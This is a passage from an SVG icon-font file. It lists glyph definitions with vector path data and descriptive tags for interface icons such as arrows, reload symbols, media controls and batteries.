<glyph unicode="&#xe1e9;" d="M 448,272c0,61.824-50.204,112-112,112c-41.776,0-77.868-23.212-97.132-57.204c0,0.028, 0.056,0.056, 0.056,0.084
		c-5.138,0.49-10.122,1.554-15.372,1.554c-92.806,0-168-75.194-168-168c0-35.378, 11.046-68.138, 29.694-95.158L0-64l 130.046,84.868
		c 26.74-17.934, 58.898-28.434, 93.52-28.434c 92.806,0, 168,75.194, 168,168c0,4.844-0.98,9.38-1.428,14.112C 424.48,193.684, 448,229.916, 448,272z
		 M 223.566,48.434c-61.796,0-112,50.204-112,112c0,61.768, 50.204,112, 112,112c 0.168,0, 0.322-0.056, 0.434-0.056c0,0.112, 0.056,0.196, 0.056,0.28
		C 224.056,272.434, 224,272.224, 224,272c0-9.73, 1.638-18.97, 3.934-27.972l-44.408-44.436c-21.868-21.868-21.868-57.316,0-79.184s 57.316-21.868, 79.184,0
		l 43.974,43.974c 9.24-2.52, 18.816-4.27, 28.826-4.326C 335.286,98.428, 285.194,48.434, 223.566,48.434z M 336,216c-30.842,0-56,25.13-56,56
		s 25.158,56, 56,56s 56-25.13, 56-56S 366.842,216, 336,216z" data-tags="pin, location" />
<glyph unicode="&#xe1ea;" d="M 439.796,375.796c-10.934,10.934-28.826,10.934-39.76,0l-56.98-57.036C 319.704,334.286, 292.908,342, 266,342
			c-35.826,0-71.638-13.678-98.98-41.020l-84-84c-47.908-47.852-53.816-121.842-17.822-176.148l-56.98-57.036c-10.934-10.934-10.934-28.658,0-39.592
			C 13.678-61.27, 20.832-64, 28-64s 14.322,2.73, 19.796,8.204l 56.98,57.036C 128.128-14.286, 155.092-22, 182-22c 35.826,0, 71.638,13.678, 98.98,41.020
			l 83.832,84c 47.908,47.852, 53.816,121.842, 17.822,176.148l 57.148,57.036C 450.73,347.138, 450.73,364.862, 439.796,375.796z M 349.832,202
			c0-22.428-8.75-43.526-24.612-59.388l-83.832-84C 225.526,42.75, 204.428,34, 182,34c-12.684,0-24.822,3.122-35.98,8.428l 41.776,41.776
			c 10.934,10.934, 10.934,28.658,0,39.592s-28.658,10.934-39.592,0L 106.428,82.020C 101.066,93.122, 98,105.26, 98,118c0,22.428, 8.75,43.526, 24.612,59.388
			l 84,84C 222.474,277.25, 243.572,286, 266,286c 12.684,0, 24.78-3.122, 35.924-8.428l-42.602-42.658c-10.934-10.934-10.934-28.658,0-39.592
			c 5.474-5.474, 12.628-8.204, 19.796-8.204c 7.112,0, 14.28,2.73, 19.74,8.204l 42.546,42.658C 346.78,226.878, 349.832,214.74, 349.832,202z" data-tags="link, chain" />
<glyph unicode="&#xe1eb;" d="M 448,384L 112,160L 196,104L0-64L 336,104L 252,160 	z" data-tags="bolt, power" />
<glyph unicode="&#xe1ec;" d="M 252,104L 252,20L 308,20L 224-64L 140,20L 196,20L 196,104 		zM 196,216L 196,300L 140,300L 224,384L 308,300L 252,300L 252,216 		zM 168,132L 84,132L 84,76L0,160L 84,244L 84,188L 168,188 		zM 280,188L 364,188L 364,244L 448,160L 364,76L 364,132L 280,132 		z" data-tags="move" />
<glyph unicode="&#xe1ed;" d="M 224,76L 252,104L 252,20L 308,20L 224-64L 140,20L 196,20L 196,104 		zM 224,243.132L 196,216L 196,300L 140,300L 224,384L 308,300L 252,300L 252,216 		zM 140,160L 168,132L 84,132L 84,76L0,160L 84,244L 84,188L 168,188 		zM 307.132,160L 280,188L 364,188L 364,244L 448,160L 364,76L 364,132L 280,132 		z" data-tags="move-alt1" />
<glyph unicode="&#xe1ee;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 308,104l0,28 l-56,0 l0-56 l 28,0 l-56-56
		l-56,56l 28,0 l0,56 l-56,0 l0-28 l-56,56l 56,56l0-28 l 56,0 l0,56 l-28,0 l 56,56l 56-56l-28,0 l0-56 l 56,0 l0,28 l 56-56L 308,104z" data-tags="move-alt2" />
<glyph unicode="&#xe1ef;" d="M 252,356c0,15.4-12.6,28-28,28s-28-12.6-28-28l0-252 l-28,0 l0-56 l 28,0 l0-84 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28l0,84 l 28,0 l0,56 l-28,0 L 252,356 zM 84,356c0,15.4-12.6,28-28,28S 28,371.4, 28,356l0-140 L0,216 l0-56 l 28,0 l0-196 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28L 84,160 l 28,0 l0,56 L 84,216 L 84,356 zM 448,272l-28,0 L 420,356 c0,15.4-12.6,28-28,28s-28-12.6-28-28l0-84 l-28,0 l0-56 l 28,0 l0-252 c0-15.4, 12.6-28, 28-28s 28,12.6, 28,28L 420,216 l 28,0 L 448,272 z" data-tags="equalizer, settings, options" />
<glyph unicode="&#xe1f0;" d="M 112,104c-19.74,0-38.388,4.046-56,10.304L 56-64 l 56,56l 56-56L 168,114.304 C 150.388,108.046, 131.74,104, 112,104zM0,272A112,112 1620 1 1 224,272A112,112 1620 1 1 0,272z" horiz-adv-x="224" data-tags="award-fill, medal" />
<glyph unicode="&#xe1f1;" d="M 112,104c-19.74,0-38.388,4.046-56,10.276L 56-64 l 56,56l 56-56L 168,114.276 C 150.388,108.046, 131.74,104, 112,104zM 112,384C 50.148,384,0,333.852,0,272s 50.148-112, 112-112s 112,50.148, 112,112S 173.852,384, 112,384z M 112,216c-30.954,0-56,25.074-56,56
			s 25.046,56, 56,56s 56-25.074, 56-56S 142.954,216, 112,216z" horiz-adv-x="224" data-tags="award-stroke, medal" />
<glyph unicode="&#xe1f2;" d="M 281.862,384C 190.316,384, 115.822,309.52, 115.822,217.918c0-21.924, 4.48-42.714, 12.194-61.852L0,28.036L 91.98-64l 128.072,128.128
	c 19.138-7.77, 39.928-12.25, 61.796-12.25c 91.602,0, 166.138,74.48, 166.138,166.012C 448,309.52, 373.464,384, 281.862,384z M 281.862,107.822
	c-60.648,0-110.082,49.434-110.082,110.068c0,60.704, 49.434,110.138, 110.082,110.138c 60.76,0, 110.194-49.434, 110.194-110.138
	C 392.056,157.27, 342.622,107.822, 281.862,107.822z" data-tags="magnifying-glass, search, zoom" />
<glyph unicode="&#xe1f3;" d="M 448,328l-56,0 l-56,0 c0,30.954-25.046,56-56,56l-112,0 C 137.046,384, 112,358.954, 112,328L 56,328 L0,328 l0-56 l 56,0 l0-252 c0-46.368, 37.632-84, 84-84l 168,0 
			c 46.368,0, 84,37.632, 84,84L 392,272 l 56,0 L 448,328 z M 336,20c0-15.428-12.572-28-28-28L 140-8 c-15.428,0-28,12.572-28,28L 112,272 l 224,0 L 336,20 zM 140,76A28,28 1620 1 1 196,76A28,28 1620 1 1 140,76zM 140,188A28,28 1620 1 1 196,188A28,28 1620 1 1 140,188zM 252,76A28,28 1620 1 1 308,76A28,28 1620 1 1 252,76zM 252,188A28,28 1620 1 1 308,188A28,28 1620 1 1 252,188z" data-tags="trash-stroke, remove, delete" />
<glyph unicode="&#xe1f4;" d="M 392,328l-56,0 c0,30.954-25.046,56-56,56l-112,0 C 137.046,384, 112,358.954, 112,328L 56,328 L0,328 l0-56 l 56,0 l0-252 c0-46.368, 37.632-84, 84-84l 168,0 
		c 46.368,0, 84,37.632, 84,84L 392,272 l 56,0 L 448,328 L 392,328 z M 168,48c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28S 183.47,48, 168,48z M 168,160
		c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28S 183.47,160, 168,160z M 280,48c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28
		S 295.47,48, 280,48z M 280,160c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28S 295.47,160, 280,160z" data-tags="trash-fill, remove, delete" />
<glyph unicode="&#xe1f5;" d="M 112,258A14,14 1620 1 1 140,258A14,14 1620 1 1 112,258zM 196,384L 28,384 C 12.53,384,0,371.47,0,356l0-308 c0-61.852, 50.148-112, 112-112s 112,50.148, 112,112L 224,356 C 224,371.47, 211.47,384, 196,384z M 70,104
		c-7.728,0-14,6.258-14,14s 6.272,14, 14,14c 7.742,0, 14-6.258, 14-14S 77.742,104, 70,104z M 140,48c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28
		S 155.47,48, 140,48z M 168,160l-28,0 c0,15.456-12.544,28-28,28s-28-12.544-28-28L 56,160 L 56,328 l 112,0 L 168,160 z" horiz-adv-x="224" data-tags="beaker-alt" />
<glyph unicode="&#xe1f6;" d="M 196,384L 28,384 C 12.53,384,0,371.47,0,356l0-308 c0-61.852, 50.148-112, 112-112s 112,50.148, 112,112L 224,356 C 224,371.47, 211.47,384, 196,384z M 140,48
	c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28S 155.47,48, 140,48z M 168,160l-28,0 c0,15.456-12.544,28-28,28s-28-12.544-28-28L 56,160 L 56,328 l 112,0 L 168,160 z" horiz-adv-x="224" data-tags="beaker" />
<glyph unicode="&#xe1f7;" d="M 308,384c-77.322,0-140-62.678-140-140c0-8.75, 1.036-17.178, 2.576-25.424L0,48l0-112 l 168,0 l0,56 l 56,0 l0,56 l 56,0 l0,56 l 2.576,2.576
		C 290.822,105.036, 299.25,104, 308,104c 77.322,0, 140,62.678, 140,140S 385.322,384, 308,384z M 308,160c-4.382,0-9.184,0.546-15.204,1.638l-28.98,5.362
		L 224,127.184L 224,104 l-56,0 l0-56 L 112,48 l0-56 L 56-8 l0,32.816 l 175,175l-5.362,28.98C 224.518,234.816, 224,239.632, 224,244c0,46.326, 37.674,84, 84,84s 84-37.674, 84-84
		S 354.326,160, 308,160zM 280,244A28,28 1620 1 1 336,244A28,28 1620 1 1 280,244z" data-tags="key-stroke, log in, sing in" />
<glyph unicode="&#xe1f8;" d="M 308,384c-77.322,0-140-62.678-140-140c0-8.75, 1.036-17.178, 2.576-25.424L0,48l0-112 l 168,0 l0,56 l 56,0 l0,56 l 56,0 l0,56 
				l 2.576,2.576C 290.822,105.036, 299.25,104, 308,104c 77.322,0, 140,62.678, 140,140S 385.322,384, 308,384z M 308.112,216c-15.47,0-28,12.53-28,28s 12.53,28, 28,28
				s 28-12.53, 28-28S 323.582,216, 308.112,216z" data-tags="key-fill, log in, sing in" />
<glyph unicode="&#xe1f9;" d="M 448,384L 112,384 l0-112 C 71.316,272,0,272,0,272l0-336 l 336,0 l0,112 l 112,0 L 448,384 z M 280-8L 56-8 L 56,160 l 56,0 l0-112 l 168,0 C 280,22.954, 280-8, 280-8z M 392,104L 168,104 L 168,272 l 224,0 
		L 392,104 z" data-tags="new-window, popup" />
<glyph unicode="&#xe1fa;" d="M 140,327.888c 46.354,0, 84-37.786, 84-84.224c0-26.53-12.082-50.918-33.222-66.822c-31.612-23.898-44.38-50.316-48.776-72.52
			L 137.998,104.322 c-4.382,22.204-17.192,48.622-48.776,72.52c-21.112,15.918-33.25,40.306-33.25,66.822C 55.972,290.102, 93.646,327.888, 140,327.888 M 140,384
			C 62.678,384,0,321.168,0,243.678C0,197.73, 21.63,157.592, 55.566,132c 15.61-11.816, 28.49-27.020, 28.49-48.020l0-35.77 l 111.916,0 L 195.972,83.98 
			c0,21, 12.88,36.204, 28.462,48.020C 258.398,157.592, 280,197.73, 280,243.678C 280,321.168, 217.322,384, 140,384L 140,384zM 84-8L 196-8L 196-64L 84-64z" horiz-adv-x="280" data-tags="lightbulb, lamp" />
<glyph unicode="&#xe1fb;" d="M 65.674,1.52C 23.296,43.842,0,100.066,0,160C0,283.48, 100.464,384, 224,384l 28-28l-28-28C 131.362,328, 56,252.638, 56,160
			c0-44.954, 17.5-87.178, 49.28-118.888l-34.398-4.48L 65.674,1.52L 65.674,1.52zM 224-64l-28,27.888L 224-8c 92.638,0, 168,75.362, 168,168c0,44.842-17.5,87.066-49.322,118.832l 34.454,4.536
			l 5.138,35.056C 424.648,276.102, 448,219.822, 448,160C 448,36.52, 347.48-64, 224-64L 224-64z" data-tags="spin-alt, refresh, reload, synchronize, loop" />
<glyph unicode="&#xe1fc;" d="M 334.362,298.796l-39.48-39.648C 321.342,232.674, 336,197.464, 336,160c0-77.224-62.776-140-140-140l0,28 l-56-56l 56-56l0,28 
			c 108.066,0, 196,87.934, 196,196C 392,212.444, 371.546,261.724, 334.362,298.796zM 252,328l-56,56l0-28 C 87.934,356,0,268.066,0,160c0-52.444, 20.454-101.724, 57.638-138.796l 39.48,39.648
			C 70.658,87.326, 56,122.536, 56,160C 56,237.224, 118.776,300, 196,300l0-28 L 252,328z" horiz-adv-x="392" data-tags="spin, refresh, reload, synchronize, loop" />
<glyph unicode="&#xe1fd;" d="M 392,132c0,108.22-87.78,196-196,196C 87.78,328,0,240.22,0,132C0,209.322, 62.678,272, 140,272s 140-62.678, 140-140l0-28 l-56,0 l 112-112l 112,112l-56,0 L 392,132 
		z" data-tags="curved-arrow, arrow" />
<glyph unicode="&#xe1fe;" d="M 394.16,331.924c-69.394,69.38-190.458,69.436-259.809,0L 55.997,253.514L 55.997,327.989 L0,327.989 l0-167.989 l 167.989,0 l0,55.997 l-70.318-0.042l 76.338,76.338
			c 48.227,48.283, 132.334,48.283, 180.561-0.056C 378.69,268.115, 391.976,236.072, 391.976,201.955c0-34.158-13.285-66.216-37.405-90.407l-42.221-42.207l 39.589-39.575
			l 42.221,42.109C 428.835,106.663, 447.972,152.833, 447.972,201.955C 447.972,251.050, 428.835,297.205, 394.16,331.924zM 258.27-64L 218.68-24.355L 258.298,15.221L 297.888-24.425z" horiz-adv-x="447.125" data-tags="undo, arrow" />
<glyph unicode="&#xe1ff;" d="M 336,132c0-61.74-50.204-112-112-112s-112,50.26-112,112s 50.204,112, 112,112l 33.026-0.378l-16.296-16.296l 39.592-39.592L 364.49,272
			l-84.168,84l-39.592-39.592L 257.25,300L 224,300 C 131.25,300, 56,224.806, 56,132s 75.25-168, 168-168s 168,75.194, 168,168L 336,132 z" data-tags="reload, refresh, reset, arrow" />
<glyph unicode="&#xe200;" d="M 336,132c0-61.796-50.204-112-112-112s-112,50.204-112,112s 50.204,112, 112,112l 56,0 l 0.322-56.28L 364.49,272l-84.168,84l0-56 L 224,300 
			C 131.25,300, 56,224.75, 56,132s 75.25-168, 168-168s 168,75.25, 168,168L 336,132 z" data-tags="reload-alt, refresh, reset, arrow" />
<glyph unicode="&#xe201;" d="M 280,160l0-56 l 66.332,0 l-75.194-75.194c-47.446-47.544-130.326-47.544-177.814,0l-39.62-39.536
		C 88.018-45.086, 133.714-64, 182.28-64c 48.594,0, 94.178,18.928, 128.45,53.27l 81.27,81.2L 392-8 l 56,0 L 448,160 L 280,160 zM 168,216L 101.668,216 l 75.194,75.194c 47.446,47.544, 130.326,47.544, 177.814,0l 39.62,39.536C 359.982,365.072, 314.286,384, 265.706,384
		c-48.594,0-94.178-18.928-128.45-53.27L 56,249.53L 56,328 L0,328 l0-168 l 168,0 L 168,216 z" data-tags="loop, refresh, reload, reset, arrows" />
<glyph unicode="&#xe202;" d="M 168,244L 112,244 L 112,244.224 C 112,259.652, 124.572,272, 140,272l 168,0 c 15.428,0, 28-12.572, 28-28l0-28 l 56,0 l0,28 c0,46.326-37.674,84-84,84L 140,328 
		c-46.326,0-84-37.674-84-84L0,244 l 84-84L 168,244zM 364,160l-84-84l 56,0 l0-0.224 C 336,60.362, 323.428,48, 308,48L 140,48 c-15.428,0-28,12.572-28,28l0,28 L 56,104 l0-28 c0-46.326, 37.674-84, 84-84l 168,0 
		c 46.326,0, 84,37.674, 84,84l 56,0 L 364,160z" data-tags="loop-alt1, synchronize, arrows, reload, refresh" />
<glyph unicode="&#xe203;" d="M 168,244L 112,244 L 112,272 c0,15.428, 12.572,28, 28,28l 168,0 c 15.428,0, 28-12.572, 28-28l0-28 l 56,0 L 392,272 c0,46.326-37.674,84-84,84L 140,356 C 93.674,356, 56,318.326, 56,272
		l0-28 L0,244 l 84-112L 168,244zM 364,188l-84-112l 56,0 l0-28 c0-15.428-12.572-28-28-28L 140,20 c-15.428,0-28,12.572-28,28l0,28 L 56,76 l0-28 c0-46.326, 37.674-84, 84-84l 168,0 
		c 46.326,0, 84,37.674, 84,84l0,28 l 56,0 L 364,188z" data-tags="loop-alt2, synchronize, arrows, reload, refresh" />
<glyph unicode="&#xe204;" d="M 392,160l0-28 c0-15.428-12.572-28-28-28L 167.944,104 L 168,160l-112-84l 112-84l-0.056,56L 364,48 c 46.326,0, 84,37.73, 84,84l0,28 L 392,160 zM 56,188c0,15.47, 12.572,28, 28,28l 196,0 l0-56 l 111.888,84L 280,328l0-56 L 84,272 c-46.326,0-84-37.632-84-84l0-28 l 56,0 L 56,188 z" data-tags="loop-alt3, synchronize, arrows, reload, refresh" />
<glyph unicode="&#xe205;" d="M 392,132c0-15.428-12.572-28-28-28L 111.888,104 l0,56 L0,76l 111.888-84l0,56 L 364,48 c 46.326,0, 84,37.73, 84,84L 392,132 zM 84,216l 252,0 l0-56 l 112,84l-112,84l0-56 L 84,272 c-46.326,0-84-37.632-84-84l 56,0 C 56,203.428, 68.572,216, 84,216z" data-tags="loop-alt4, synchronize, arrows, reload, refresh" />
<glyph unicode="&#xe206;" d="M 447.972,48L 111.888,48L 111.888-8L0,76L 111.888,160L 111.888,104L 447.972,104 		zM0,216L 335.972,216L 335.972,160L 447.972,244L 335.972,328L 335.972,272L0,272 		z" horiz-adv-x="447.125" data-tags="transfer, arrows" />
<glyph unicode="&#xe207;" d="M 112,104L 112,20L 168,20L 84-64L0,20L 56,20L 56,104 		zM 56,216L 56,300L0,300L 84,384L 168,300L 112,300L 112,216 		z" horiz-adv-x="168" data-tags="move-vertical, arrows" />
<glyph unicode="&#xe208;" d="M 84,76L 112,104L 112,20L 168,20L 84-64L0,20L 56,20L 56,104 		zM 84,243.132L 56,216L 56,300L0,300L 84,384L 168,300L 112,300L 112,216 		z" horiz-adv-x="168" data-tags="move-vertical-alt1, arrows" />
<glyph unicode="&#xe209;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 252,76l 28,0 l-56-56l-56,56l 28,0 L 196,244 
		l-28,0 l 56,56l 56-56l-28,0 L 252,76 z" data-tags="move-vertical-alt2, arrows" />
<glyph unicode="&#xe20a;" d="M 168,132L 84,132L 84,76L0,160L 84,244L 84,188L 168,188 		zM 280,188L 364,188L 364,244L 448,160L 364,76L 364,132L 280,132 		z" data-tags="move-horizontal, arrows" />
<glyph unicode="&#xe20b;" d="M 140,160L 168,132L 84,132L 84,76L0,160L 84,244L 84,188L 168,188 		zM 307.132,160L 280,188L 364,188L 364,244L 448,160L 364,76L 364,132L 280,132 		z" data-tags="move-horizontal-alt1, arrows" />
<glyph unicode="&#xe20c;" d="M 448,160c0,123.704-100.296,224-224,224S0,283.704,0,160s 100.296-224, 224-224S 448,36.296, 448,160z M 140,132l0-28 l-56,56l 56,56l0-28 
		l 168,0 l0,28 l 56-56l-56-56l0,28 L 140,132 z" data-tags="move-horizontal-alt2, arrows" />
<glyph unicode="&#xe20d;" d="M 448,216L 224,216L 308,300L 224,384L0,160L 224-64L 308,20L 224,104L 448,104 z" data-tags="arrow-left, previous" />
<glyph unicode="&#xe20e;" d="M 448,160c0,123.704-100.296,224-224,224C 100.282,384,0,283.704,0,160c0-123.718, 100.282-224, 224-224C 347.704-64, 448,36.282, 448,160z
	 M 112,160l 112,112l0-84 l 112,0 l0-56 l-112,0 l0-84 L 112,160z" data-tags="arrow-left-alt1, left, previous" />
<glyph unicode="&#xe20f;" d="M 224-64c 123.704,0, 224,100.296, 224,224S 347.704,384, 224,384S0,283.704,0,160S 100.296-64, 224-64z M 140,216l0-28 l 224,0 l0-56 L 140,132 l0-28 l-56,56
		L 140,216z" data-tags="arrow-left-alt2, left, previous" />
<glyph unicode="&#xe210;" d="M0,104L 224,104L 140,20L 224-64L 448,160L 224,384L 140,300L 224,216L0,216 z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe211;" d="M0,160c0-123.704, 100.296-224, 224-224c 123.718,0, 224,100.296, 224,224c0,123.718-100.282,224-224,224C 100.296,384,0,283.718,0,160z M 336,160
	l-112-112l0,84 L 112,132 l0,56 l 112,0 L 224,272 L 336,160z" data-tags="arrow-right-alt1, right, next" />
<glyph unicode="&#xe212;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 308,104l0,28 L 84,132 l0,56 l 224,0 l0,28 l 56-56
		L 308,104z" data-tags="arrow-right-alt2, right, next" />
<glyph unicode="&#xe213;" d="M 280-64L 280,160L 364,76L 448,160L 224,384L0,160L 84,76L 168,160L 168-64 z" data-tags="arrow-up, upload" />
<glyph unicode="&#xe214;" d="M 224-64c 123.704,0, 224,100.296, 224,224c0,123.718-100.296,224-224,224C 100.282,384,0,283.718,0,160C0,36.296, 100.282-64, 224-64z M 224,272
	l 112-112l-84,0 l0-112 l-56,0 l0,112 L 112,160 L 224,272z" data-tags="arrow-up-alt1, upload" />
<glyph unicode="&#xe215;" d="M0,160c0-123.704, 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384S0,283.704,0,160z M 280,244l-28,0 l0-224 l-56,0 L 196,244 l-28,0 
		l 56,56L 280,244z" data-tags="arrow-up-alt2, upload" />
<glyph unicode="&#xe216;" d="M 168,384L 168,160L 84,244L0,160L 224-64L 448,160L 364,244L 280,160L 280,384 z" data-tags="arrow-down, download" />
<glyph unicode="&#xe217;" d="M 224,384C 100.296,384,0,283.704,0,160c0-123.718, 100.296-224, 224-224c 123.718,0, 224,100.282, 224,224C 448,283.704, 347.718,384, 224,384z M 224,48
	l-112,112l 84,0 L 196,272 l 56,0 l0-112 l 84,0 L 224,48z" data-tags="arrow-down-alt1, download" />
<glyph unicode="&#xe218;" d="M 448,160c0,123.704-100.296,224-224,224S0,283.704,0,160s 100.296-224, 224-224S 448,36.296, 448,160z M 168,76l 28,0 L 196,300 l 56,0 l0-224 l 28,0 
		l-56-56L 168,76z" data-tags="arrow-down-alt2, download" />
<glyph unicode="&#xe219;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 224.434,104.924
				c-30.632,0-55.51,24.822-55.51,55.51c0,30.73, 24.878,55.566, 55.51,55.566C 255.178,216, 280,191.178, 280,160.434
				C 280,129.76, 255.178,104.924, 224.434,104.924z" data-tags="cd, disk, save" />
<glyph unicode="&#xe21a;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 224,328
		c 72.898,0, 134.47-46.956, 157.724-112L 66.276,216 C 89.53,281.044, 151.102,328, 224,328z M 224,132c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28
		S 239.47,132, 224,132z M 56,160c 76.51,0, 138.474-73.724, 139.776-165.158C 116.592,8.408, 56,77.036, 56,160z M 252.224-5.158
		C 253.526,86.276, 315.49,160, 392,160C 392,77.036, 331.408,8.408, 252.224-5.158z" data-tags="steering-wheel, drive" />
<glyph unicode="&#xe21b;" d="M 168,160c 30.954,0, 56,25.074, 56,56L 224,328 c0,30.926-25.046,56-56,56S 112,358.926, 112,328l0-112 C 112,185.074, 137.046,160, 168,160zM 224-8l-28,0 l0,58.842 C 275.296,64.24, 336,132.952, 336,216l0,27.132 c0,15.47-12.53,28-28,28s-28-12.53-28-28L 280,216 
			c0-61.768-50.204-112-112-112s-112,50.232-112,112l0,27.132 c0,15.47-12.53,28-28,28s-28-12.53-28-28L0,216 c0-83.048, 60.704-151.76, 140-165.158L 140-8 L 112-8 
			c-30.954,0-56-25.046-56-56l 224,0 C 280-33.046, 254.954-8, 224-8z" horiz-adv-x="336" data-tags="microphone" />
<glyph unicode="&#xe21c;" d="M 420,132l-28,0 l0,56 c0,92.75-75.25,168-168,168S 56,280.75, 56,188l0-56 L 28,132 c-15.47,0-28-12.53-28-28l0-112 c0-15.47, 12.53-28, 28-28l 84,0 L 112,188 
	c0,61.796, 50.204,112, 112,112s 112-50.204, 112-112l0-224 l 84,0 c 15.47,0, 28,12.53, 28,28l0,112 C 448,119.47, 435.47,132, 420,132z" data-tags="headphones, music, sound" />
<glyph unicode="&#xe21d;" d="M 112,48c-61.852,0-112,50.148-112,112s 50.148,112, 112,112L 112,48 zM 168,272L 280,328L 280-8L 168,48 			zM 336.056,48.056l0,56 c 4.648,0, 9.352,0.602, 14.056,1.75C 374.668,112.036, 392,134.352, 392,160
			s-17.332,47.908-42.168,54.194c-4.424,1.092-9.128,1.694-13.776,1.694l0,56 c 9.184,0, 18.382-1.148, 27.398-3.332C 413.28,255.872, 448,211.296, 448,160
			c0-51.352-34.72-95.97-84.378-108.556C 354.326,49.204, 345.128,48.056, 336.056,48.056L 336.056,48.056z" data-tags="volume, sound" />
<glyph unicode="&#xe21e;" d="M 112,48c-61.852,0-112,50.148-112,112s 50.148,112, 112,112L 112,48 zM 168,272L 280,328L 280-8L 168,48 			zM 448,132L 336,132L 336,188L 448,188 		z" data-tags="volume-mute, mute" />
<glyph unicode="&#xe21f;" d="M0,384L 336,160L0-64 	z" horiz-adv-x="336" data-tags="play" />
<glyph unicode="&#xe220;" d="M0,384L 112,384L 112-64L0-64zM 224,384L 336,384L 336-64L 224-64z" horiz-adv-x="336" data-tags="pause" />
<glyph unicode="&#xe221;" d="M0,384L 448,384L 448-64L0-64z" data-tags="stop" />
<glyph unicode="&#xe222;" d="M0,104L 224,384L 448,104 		zM0,48L 447.398,48L 447.398-64L0-64z" data-tags="eject" />
<glyph unicode="&#xe223;" d="M 448-64L 112,160L 448,384 		zM0,328L 112,328L 112-8L0-8z" data-tags="first" />
<glyph unicode="&#xe224;" d="M0,384L 336,160L0-64 		zM 336,328L 448,328L 448-8L 336-8z" data-tags="last" />
<glyph unicode="&#xe225;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 140,48L 140,272 l 224.112-112L 140,48z
		" data-tags="play-alt, video" />
<glyph unicode="&#xe226;" d="M 344.204,0.204L 408.408-64L 448-24.408L 383.796,39.796L 448,104L 280,104L 280-64 		zM0,216L 168,216L 168,384L 103.796,319.796L 40.25,383.398L 0.658,343.806L 64.204,280.204 		zM0-24.408L 39.592-64L 103.796,0.204L 168-64L 168,104L0,104L 64.204,39.796 		zM 280,216L 448,216L 383.796,280.204L 447.454,343.806L 407.862,383.398L 344.204,319.796L 280,384 		z" data-tags="fullscreen-exit, collapse, shrink, reduce" />
<glyph unicode="&#xe227;" d="M 392,104L 280,104L 280-8L 316.204,28.204L 408.408-64L 448-24.408L 355.796,67.796 	zM 355.796,252.204L 448,344.408L 408.408,384L 316.204,291.796L 280,328L 280,216L 392,216 	zM 39.592,384L0,344.408L 92.204,252.204L 56,216L 168,216L 168,328L 131.796,291.796 	zM 92.204,67.796L0-24.408L 39.592-64L 131.796,28.204L 168-8L 168,104L 56,104 	z" data-tags="fullscreen-exit-alt, collapse, shrink, reduce" />
<glyph unicode="&#xe228;" d="M 383.796,39.796L 319.592,104L 280,64.408L 344.204,0.204L 280-64L 448-64L 448,104 		zM 168,384L0,384L0,216L 64.204,280.204L 127.806,216.658L 167.398,256.25L 103.796,319.796 		zM 168,64.408L 128.408,104L 64.204,39.796L0,104L0-64L 168-64L 103.796,0.204 		zM 448,384L 280,384L 344.204,319.796L 280.602,256.25L 320.194,216.658L 383.796,280.204L 448,216 		z" data-tags="fullscreen, expand" />
<glyph unicode="&#xe229;" d="M 411.796,11.796L 319.592,104L 280,64.408L 372.204-27.796L 336-64L 448-64L 448,48 		zM 36.204,308.204L 128.408,216L 168,255.592L 75.796,347.796L 112,384L0,384L0,272 		zM 372.204,347.796L 280,255.592L 319.592,216L 411.796,308.204L 448,272L 448,384L 336,384 		zM 168,64.408L 128.408,104L 36.204,11.796L0,48L0-64L 112-64L 75.796-27.796 		z" data-tags="fullscreen-alt, expand" />
<glyph unicode="&#xe22a;" d="M 224,384L 112,384 C 50.148,384,0,333.852,0,272l0-224 c0-61.852, 50.148-112, 112-112l 112,0 c 61.852,0, 112,50.148, 112,112L 336,272 
		C 336,333.852, 285.852,384, 224,384z M 168-36.868c-15.946,0-28.868,12.908-28.868,28.868s 12.936,28.868, 28.868,28.868s 28.868-12.908, 28.868-28.868
		S 183.946-36.868, 168-36.868z M 280,48L 56,48 L 56,272 c0,30.842, 25.13,56, 56,56l 112,0 c 30.842,0, 56-25.158, 56-56L 280,48 z" horiz-adv-x="336" data-tags="iphone, touch, phone, mobile" />
<glyph unicode="&#xe22b;" d="M 448,216l-56,0 l0,28 c0,15.372-12.572,28-28,28L 28,272 c-15.428,0-28-12.628-28-28l0-168 c0-15.372, 12.572-28, 28-28l 336,0 
	c 15.428,0, 28,12.628, 28,28l0,28 l 56,0 L 448,216 z M 336,104L 56,104 L 56,216 l 280,0 L 336,104 z" data-tags="battery-empty" />
<glyph unicode="&#xe22c;" d="M 448,216l-56,0 l0,28 c0,15.4-12.572,28-28,28L 28,272 c-15.428,0-28-12.6-28-28l0-168 c0-15.428, 12.572-28, 28-28l 336,0 c 15.428,0, 28,12.572, 28,28l0,28 l 56,0 
		L 448,216 z M 336,104l-112,0 l0,112 l 112,0 L 336,104 z" data-tags="battery-half" />
<glyph unicode="&#xe22d;" d="M 392,216l0,28 c0,15.4-12.6,28-28,28L 28,272 c-15.4,0-28-12.6-28-28l0-168 c0-15.4, 12.6-28, 28-28l 336,0 c 15.4,0, 28,12.6, 28,28l0,28 l 56,0 l0,112 L 392,216 z" data-tags="battery-full" />
